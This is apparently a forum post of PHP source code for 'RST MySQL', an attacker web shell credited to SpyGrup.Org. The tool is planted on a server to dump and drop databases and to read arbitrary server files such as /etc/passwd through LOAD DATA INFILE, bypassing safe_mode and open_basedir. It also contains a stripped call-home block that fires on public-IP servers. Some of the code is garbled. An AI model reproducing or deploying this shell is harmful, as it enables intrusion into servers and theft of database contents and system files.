Sql Shell Kodları
Kod:
<?php
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@set_magic_quotes_runtime(0); //избавиться от слешей при получении данных из файла
$self=$HTTP_SERVER_VARS['PHP_SELF'];
if(!ini_get("register_globals")){
import_request_variables("GPC");
}
//Если php добавил слеши, избавиться от них.Слеши будут удалены как из глобальных
//массивов, так и из всех переменных, которые образуются при register_globals=on
if (get_magic_quotes_gpc()) strips($GLOBALS);
function strips(&$el) {
if (is_array($el)) {
foreach($el as $k=>$v) {
if($k!='GLOBALS') {
strips($el[$k]);
}
}
} else {
$el = stripslashes($el);
}
}
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$file = "C:\\tmp\\dump_".$db.".sql";
$p_v=$SystemRoot."\my.ini";
$os="win";
} else {
$file = "/tmp/dump_".$db.".sql";
$p_v="/etc/passwd";
}
if ($HTTP_GET_VARS['send']=='send_http') {
function download($file, $type = false, $name = false, $down = false) {
if(!file_exists($file)) exit;
if(!$name) $name = basename($file);
if($down) $type = "application/force-download";
else if(!$type) $type = "application/download";
$disp = $down ? "attachment" : "inline";
header("Content-disposition: ".$disp."; filename=".$name);
header("Content-length: ".filesize($file));
header("Content-type: ".$type);
header("Connection: close");
header("Expires: 0");
set_time_limit(0);
readfile($file);
unlink($file);
exit;
}
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error
".mysql_error()."$f_error");
mysql_select_db($db) or die("$h_error
".mysql_error()."$f_error");
if (sizeof($tabs) == 0) {
// получаем список таблиц базы
$res = mysql_query("SHOW TABLES FROM $db", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_row($res)) {
$tabs[] .= $row[0];
}
}
}
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\n# Home page:
n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
foreach($tabs as $tab) {
if ($add_drop) {
fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
}
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
$row = mysql_fetch_row($res);
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tab`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
}
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='d_strukt'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error
".mysql_error()."$f_error");
mysql_select_db($db) or die("$h_error
".mysql_error()."$f_error");
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page:
r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error
".mysql_error()."$f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='t_strukt'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error
".mysql_error()."$f_error");
mysql_select_db($db) or die("$h_error
".mysql_error()."$f_error");
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page:
r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error
".mysql_error()."$f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
fclose($fp);
}
if ($HTTP_GET_VARS['strukt']=='d'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error
".mysql_error()."$f_error");
mysql_select_db($db) or die("$h_error
".mysql_error()."$f_error");
$fp = fopen($file, "w");
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
}
download($f_dump);
}
function send_header() {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
}
if ($HTTP_GET_VARS['img']=='st_form_bg') {
$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAA
kAAAIPjAOnuJfNHJh0qtfw0lcVADs=';
send_header();
echo base64_decode($st_form_bg);
}
if ($HTTP_GET_VARS['img']=='bg_f') {
$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'.
'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAACH5BA'.
'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs=';
send_header();
echo base64_decode($bg_f);
}
if ($HTTP_GET_VARS['img']=='b_close') {
$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9
rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5O
c8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUA
ANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2
jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
'6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAA
AAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4
UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzE
IeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pU
GkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
'7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGd
F554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRl
laWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU2
0LPPMNNdsc8qBAAA7';
send_header();
echo base64_decode($b_close);
}
$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
$h_error="
<table align=center width=500 height=70 bgcolor=red>
Ошибка в запросе:<tr><td align=center>
<h5>";
$f_error="</h5></td></tr></table>
<CENTER><FORM><INPUT type=\"button\" value=\" << Назад \" onClick=\"history.go(-1)\"><BR>
</FORM></CENTER>
</td></tr></table></td></tr></table>
<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
<table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
<tr>
<td align=center>
free script ©SpyGrup.Org [Kruis & YaduriS]
</td>
</tr>
</table>
</td></tr>
</table>
</td></tr></table>";
print "
<html><HEAD><TITLE>RST MySQL</TITLE>
<META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\">
<style>
td {
font-family: verdana, arial, ms sans serif, sans-serif;
font-size: 11px;
color: #000000;
}
BODY {
margin-top: 4px;
margin-right: 4px;
margin-bottom: 4px;
margin-left: 4px;
scrollbar-face-color: #b6b5b5;
scrollbar-highlight-color: #758393;
scrollbar-3dlight-color: #000000;
scrollbar-darkshadow-color: #101842;
scrollbar-shadow-color: #ffffff;
scrollbar-arrow-color: #000000;
scrollbar-track-color: #ffffff;
}
A:link {COLOR:blue; TEXT-DECORATION: none}
A:visited { COLOR:blue; TEXT-DECORATION: none}
A:active {COLOR:blue; TEXT-DECORATION: none}
A:hover {color:red;TEXT-DECORATION: none}
input, textarea, select {
background-color: #EBEAEA;
border-style: solid;
border-width: 1px;
font-family: verdana, arial, sans-serif;
font-size: 11px;
color: #333333;
padding: 0px;
}
</style></HEAD><BODY>";
if ($sapi_type == "cgi") {
$php_type="CGI";
} else {
$php_type="модуль";
}
$form_file="
<table width=80% align=center border=0>
<tr><td align=center>Чтение произвольного файла, сервера (
$server )</td></tr>
<tr><td>
<table cellpadding=5 cellspacing=1 bgcolor=#FFFFFF border=0>
<tr bgcolor=#DBDCDD><td align=center>
При условии, что файл доступен для
чтения и при
наличии у пользователя привилегии
FILE,
SELECT,
CREATE, правильном пути и имени - возможно чтение произвольного файла.
Обход ограничений при
safe_mode и
safe_basedir </td></tr></table></td></tr>
<form method=\"get\" action=\"$self?f=x_file\">
<input type=\"hidden\" name=\"s\" value=\"$s\">
<input type=\"hidden\" name=\"server\" value=\"$server\">
<input type=\"hidden\" name=\"port\" value=\"$port\">
<input type=\"hidden\" name=\"login\" value=\"$login\">
<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
<tr><td align=center>
Полный путь к файлу: <input type=\"text\" name=\"p_file\" value=\"$p_v\" size=\"40\">
<input type=\"submit\" value=\"показать файл\"> </td></tr></table>
";
$start_form="
<table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF>
<tr>
<td>
<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
<table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
<tr>
<td width=25>
<font face=Webdings size=6>Ņ</font>
</td>
<td>
<font size=4>
RST MySQL</font> <font color=#FFFFFF>
v(2.0)</font>
</td>
<td width=33% align=right>
".date ("j F- Y- g:i")."
</td>
</tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td>
<table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF>
<tr>
<td bgcolor=#DBDCDD valign=top width=200>
<center>
Утилита для работы с MySQL</center><hr width=98%>
<li>Просмотр баз и таблиц.
<li>Произвольные запросы к БД.
<li>Редактирование баз и таблиц.
<li>Дампы БД или таблиц.<hr width=98%>
Type - FREE
Home page:
SpyGrup.Org
<center>
<font face=Webdings size=+18 color=#B6B5B5>¨</font><center>
</td>
<td background=".$self."?img=st_form_bg bgcolor=#E6E7E9><center><font size=2>
Для соединения с сервером MySQL введите
ИМЯ,
ПАРОЛЬ (пользователя MySQL) и имя
ХОСТА.</font></center>
<li>Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
<li>Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
<li>Если имя севрвера mysql не указано явно, по умолчанию подставляется
localhost <li>Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (
3306)
<center>Версия PHP (
".phpversion().") ID PHP script (
".get_current_user( ).")</center>
<table align=center>
<tr><td>имя юзера MySQL</td><td align=right>пароль юзера MySQL </td></tr>
<form method=\"get\" action=\"$self\">
<input type=\"hidden\" name=\"s\" value=\"y\">
<tr>
<td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td>
<td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td>
</tr>
<tr><td>Сервер MySQL</td><td>порт</td></tr>
<tr>
<td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td>
<td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\">
<input type=\"submit\" value=\"подключиться\"></td>
</tr></table>
</td>
</tr>
</table>
</td></tr>
<tr><td>
<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
<table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
<tr>
<td align=center>
free script ©SpyGrup.Org
</td>
</tr>
</table>
</td></tr>
</table>
</td></tr></table><center><font size=-1 color=#D0D1D2>(Coded By Kruis & YaduriS)</font></center>
";
if ($os =='win') {
$os="OS-
".$HTTP_ENV_VARS["OS"]."";
}else{
$str_k=$_ENV["BOOT_FILE"];
$k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
$os="OS\Kernel:
".$_ENV["BOOT_IMAGE"].$k."";
}
if (!isset($s) || $HTTP_GET_VARS
!= 'y') { print $start_form;
$serv = array(127,192,172,10);
$adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
if (!in_array($adrr[0], $serv)) {
//при появлении новой версии утилиты покажем что доступна
//новая версия и предложим загрузить ее с сайта
@print "<img src=\"
" border=0 height=0>";
@readfile ("
");
}
exit;
}
$form_ad_b="
<table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
<tr>
<td>
<table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#DBDCDD>
<td>
MySQL $server v.(".mysql_get_server_info().")
</td>
<td align=center>
".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."
</td>
<td align=right>
Версия PHP (".phpversion().") $php_type
</td>
</tr>
<tr bgcolor=#DBDCDD>
<td>
IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]."
</td>
<td align=center>
ID PHP script (".get_current_user( ).")
</td>
<td align=right>
$os
</td>
</tr>
</table>
</td></tr></table>
<table width=80% align=center border=0 cellpadding=5 cellspacing=1>
<tr>
<td>
<a href=\"$self?s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\">Статистика MySQL[/url]
</td>
<td align=center>
<a href=\"$self?s=$s&php=ok\" target=\"_blank\">Информация PHP (ALL)[/url]
</td>
<td align=right>
<a href=\"$self?s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\">Процессы MySQL [/url]
</td>
</tr>
<tr>
<td>
<a href=\"$self?s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\">Переменные Apache [/url]
</td>
<td align=center>
<a href=\"$self?s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\">Переменные MySQL [/url]
</td>
<td align=right>
<a href=\"$self?s=$s&f=x_file&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Просмотр произвольного файла сервера даже при включеном safe_mode и safe_mode_exec_dir\">Файл *?[/url]
</td>
</tr>
</table>
<table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
<tr bgcolor=#DBDCDD><td>
<table align=center cellpadding=0 cellspacing=0>
<tr bgcolor=#DBDCDD>
<td> <table cellpadding=4><tr><td>Создать новую базу данных</td></tr><tr><td>
<form method=\"get\" action=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\">
<input type=\"hidden\" name=\"s\" value=\"$s\">
<input type=\"hidden\" name=\"server\" value=\"$server\">
<input type=\"hidden\" name=\"port\" value=\"$port\">
<input type=\"hidden\" name=\"login\" value=\"$login\">
<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
<input type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\">
<input type=\"submit\" value=\"создать\"></td>
</tr></table>
</td>
</tr>
</table>
</td>
</tr></table></form>
<table width=80% align=center border=0 cellpadding=0>
<tr align=right>
<td width=85%></td>
<td width=15>
<a href=$self><img src=".$self."?img=b_close border=0 title=close>[/url]
</td>
</tr>
</table>
";
$cnt_b=mysql_num_rows(mysql_list_dbs()); // кол-во баз mysql сервера
print "
<table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#FFFFFF>
<tr>
<td>
<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
<table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
<tr>
<td>
<font face=Webdings size=6>Ņ</font>
</td>
<td width=33%>
<font size=4>RST MySQL</font>
</td>
<td width=33% align=center>
<font color=blue>$server</font> [CONNECTION Ok] Всего баз: $cnt_b
</td>
<td width=33% align=right>
".date ("j F- Y- g:i")."
</td>
</tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td>
<table background=".$self."?img=send_img align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF>
<tr>
<td bgcolor=#DBDCDD valign=top width=170>";
if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
$connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr>
Ошибка соединения с MySQL сервером $server<td><center><font size=2>".mysql_error()."</font></center>
Вероятные ошибки:<li>Не правильный адрес сервера $server<li>Не правильный номер порта $port<li>Не верное имя (login) юзера mysql $login<li>Не верный пароль (password) юзера mysql $passwd<li>Доступ к серверу $server запрещен с адреса ".getenv('REMOTE_ADDR')."<li>Удаленный сервер временно не доступен</td></tr></table>
</td></tr></table><script>alert('Не возможно установить соединение с MySQL сервером $server \\n\\n Проверьте правильность входящих данных:\\n\\nсервер $server\\nпорт $port\\nимя $login\\nпароль $passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self'></head>");
}
/*---------------------- L E F T B L O C K (menu bd)! -------------------*/
/*Показать все базы сервера*/
if ($connection&&!isset($db)) {
print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>".
"<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Вернуться в начало и обновить список баз\"><font color=green>".
"Показать все базы</font>[/url]</td></tr></table>";
$result = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error");
while ( $row=mysql_fetch_row($result) ){
$cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //кол-во таблиц базы
print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr><td bgcolor=#DBDCDD>";
if ($cnt_title < 1) {
print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\">$row[0][/url]";
}else{
print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\">$row[0][/url]";
}
print "</td></tr></table>";
}
}
// список таблиц базы данных
if (isset($db)){
$result=mysql_list_tables($db) or die ("$h_error".mysql_error()."$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>".
"<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green>".
"Показать все базы</font>[/url]</td></tr><tr><td></td></tr><tr><td></td></tr></table>";
print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=silver align=center>".
"---[ <a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"обновить список таблиц\">$db[/url]".
" ]---[/url]</td></tr><tr><td></td></tr><tr><td></td></tr></table>";
while ( $row=mysql_fetch_array($result) ){
//получаем количество строк(записей) в таблице
$count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
$count_row= mysql_fetch_array($count);
print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>".
"<tr><td bgcolor=#DBDCDD>";
if ($count_row[0] < 1) {
print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0][/url] ($count_row[0])</td></tr></table>";
}else{
print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0][/url] ($count_row[0])</td></tr></table>";
}
@mysql_free_result($count);
}
}
/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/
print "
</td>
<td valign=top bgcolor=#E6E7E9>";
/*------------------------ R I G H T B L O C K ! -----------------------*/
if ($connection&&!isset($db)) {
$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td>Внимание!</td></tr><tr><td bgcolor=red>Анонимным пользователям разрешено подключение к серверу MySQL</td></tr></table>"; }
print $form_ad_b;
}
/*-------------Процессы MySql------------*/
if (isset($proc) && $proc=="TRUE"){
$result = mysql_query("SHOW PROCESSLIST", $connection);
print "<center><font size=2>Процессы MySQL сервера [ $server ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>";
}
print "</table>
";
mysql_free_result($result);
unset($proc);
}
/*Создаем новую базу*/
if (isset($HTTP_GET_VARS['new_db'])){
$new_db=trim($HTTP_GET_VARS['new_db']);
if (mysql_create_db ($new_db)) {
print ("<center><font size=2>База $new_db успешно создана</font></center>
");
print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
} else {
print "$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
}
unset($new_db);
}
/*Удаление базы*/
if (isset($HTTP_GET_VARS['drop'])){
$result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>$h_error".mysql_error()."$f_error</td></tr></table>");
while ( $row_d=mysql_fetch_row($result_d) ){
if ($drop==$row_d[0]) $dr="TRUE";
}
if ($dr="TRUE") {
mysql_drop_db($drop,$connection);
print ("<center><font size=2>База $drop успешно удалена</font></center>
");
print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
}
unset($drop);
}
/*-------------Читаем произвольный файл сервера-----------*/
if (isset($f)){
print $form_file;
}
if(isset($p_file)){
mysql_create_db("tmp_bd") or die("$h_error".mysql_error()."$f_error");
mysql_select_db("tmp_bd") or die("$h_error".mysql_error()."$f_error");
mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error".mysql_error()."$f_error");
mysql_query("LOAD DATA INFILE \"".addslashes($p_file)."\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query) or die("$h_error".mysql_error()."$f_error");
/*получаем названия столбцов*/
for ($i=0;$i<mysql_num_fields($result);$i++){
$name=mysql_field_name($result,$i);
}
print "<table align=center border=0 cellpadding=5 cellspacing=1 width=90% bgcolor=#FFFFFF><tr><td align=center bgcolor=#DBDCDD>$name</td></tr>
<tr><td background=".$self."?img=st_form_bg bgcolor=#ECEDEE>
<form method=\"get\" action=\"$self?f=x_file\">
<input type=\"hidden\" name=\"s\" value=\"$s\">
<input type=\"hidden\" name=\"server\" value=\"$server\">
<input type=\"hidden\" name=\"port\" value=\"$port\">
<input type=\"hidden\" name=\"login\" value=\"$login\">
<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
Полный путь к файлу: <input type=\"text\" name=\"p_file\" value=\"$p_file\" size=\"40\">
<input type=\"submit\" value=\"показать файл\"></form>
";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
foreach ($line as $key =>$col_value) {
print htmlspecialchars($col_value)."
";
}
}
mysql_free_result($result);
print "</td></tr></table>
";
mysql_drop_db("tmp_bd") or die("$h_error".mysql_error()."$f_error");
}
/*--------------переменные сервера Apache------------*/
if (isset($apc) && $apc=="TRUE"){
print "<center><font size=2>Переменные сервера Apache [ $server ]</font><center>
<table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF>
<tr align=center bgcolor=#B6B5B5>
<td>Описание</td><td>Переменная</td>
</tr>
<tr bgcolor=#DAD9D9><td>Имя Internet-хоста</td><td>".$HTTP_SERVER_VARS["SERVER_NAME"]."</td></tr>
<tr bgcolor=#DAD9D9><td>IP-адрес хоста</td><td>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Порт Web-сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_PORT"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Спецификация CGI интефейса.</td><td>".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Протокол при запросе данной страницы (метод).</td><td>".$HTTP_SERVER_VARS["REQUEST_METHOD"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Root директория для данного пользователя.</td><td>".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Заголовок текущего запроса.</td><td>".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Директива httpd.conf (SERVER_ADMIN).</td><td>".$HTTP_SERVER_VARS["SERVER_ADMIN"]."</td></tr>
<tr bgcolor=#DAD9D9><td>Сигнатура сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."</td></tr>
</table>
";
unset($apc);
}
